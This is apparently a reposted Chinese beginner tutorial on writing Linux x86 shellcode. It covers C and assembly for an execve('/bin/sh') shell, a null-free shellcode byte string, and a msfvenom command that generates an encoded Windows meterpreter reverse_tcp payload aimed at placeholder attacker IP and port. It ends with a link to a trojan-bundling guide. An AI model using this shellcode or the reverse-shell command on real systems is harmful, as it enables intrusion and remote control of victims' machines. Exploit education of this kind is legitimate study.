1. 程式人生 > >PWN 菜雞入門之 shellcode編寫 及exploid-db用法示例

PWN 菜雞入門之 shellcode編寫 及exploid-db用法示例

fork 功能 mach .cn blog 網站 技術 lis main

一、shellcode編寫

下面我將參考其他資料來一步步示範shellcode的幾種編寫方式

0x01 系統調用

通過系統調用execve函數返回shell

C語言實現:
#include<unistd.h>
#include<stdlib.h>
char *buf [] = {"/bin/sh",NULL};
void main
{
          execve("/bin/sh",buf,0);
          exit(0);
}

 

execve函數在父進程中fork一個子進程,在子進程中調用exec函數啟動新的程序。execve()用來執行第一參數字符串所代表的文件路徑,第二個參數是利用指針數組來傳遞給執行文件,並且需要以空指針(NULL)結束,最後一個參數則為傳遞給執行文件的新環境變量數組。從程序中可以看出,如果通過C語言調用execve來返回shell的話,首先需要引入相應的頭文件,然後在主函數中調用系統調用函數execve;同時傳入三個參數。

編譯運行,獲得shell:
elvirangel@elvirangel-virtual-machine:~/DIY$ ./shellcode
$ whoami
elvirangel

示例:

技術分享圖片

0x02 匯編形式編寫shellcode

32位linux內核的系統調用表可以通過http://syscalls.kernelgrok.com/網站來查詢

技術分享圖片

Int 0x80軟中斷

int 0x80軟中斷是系統中斷,根據中斷號和相關寄存器設置調用對應系統函數

開始編寫shellcode

global _start
_start:
mov eax,0;
mov edx,0;
push edx
push "/sh"
push "
/bin"; mov ebx,esp; xor eax,eax mov al,0Bh; int 80h

技術分享圖片

技術分享圖片

可見有很多/x00,shellcode中存在/x00字節在進行利用的時候會被截斷,所以我們要避免出現/x00字節,重新修改我們的匯編程序

global _start
_start:
xor ecx,ecx
xor edx,edx
push edx
push "//sh"
push "/bin"
mov ebx,esp
xor eax,eax
mov al,0Bh
int 80ha

技術分享圖片

shellcode = "\x31\xc9\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc0\xb0\x0b\xcd\x80"

三、結合metasploit進行shellcode編寫

技術分享圖片

可以看到使用msfvenom 自動幫我們生成惡意的shellcode

  • 其中的-a 代表 的是目標的架構 如:x86

  • platform 代表的是一個目標機的平臺 如: windows

  • 那麽-p 呢 代表的是msf的payload的以及-e 和-b 呢 代表這個 encoder編碼器,-b 表示去除硬編碼中的0x00代碼,因為0x00代表著結束的符號,所以我們不能讓他出現0x00這個代碼。

  • 最後的 -i 和-f 分別代表的是iterations和format (叠代次數和格式)

那麽我們將其代碼重新改改,我們比如需要的功能是meterperter、指定ip和端口、指定shellcode 編碼格式如:c或者python等代碼

msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=攻擊者IP地址  LPORT=攻擊者端口  -e x86/shikata_ga_nai -b ‘\x00‘ -i 叠代次數  -f  c
-p去指定payload為 windows/meterpreter/reverse_tcp
LHOST 和LPORT 指定攻擊者ip和端口
-e指定x86/shikata_ga_nai 編碼器
-i 指定叠代為如 5次 或10次等
-f 指定輸出的格式 如c 代碼 、或者python等其他格式的代碼
-f參數可以參考msfvenom的幫助參數 查看-f的支持格式

隨機附上msf捆綁木馬教程:https://www.cnblogs.com/ghost00011011/p/7994396.html

PWN 菜雞入門之 shellcode編寫 及exploid-db用法示例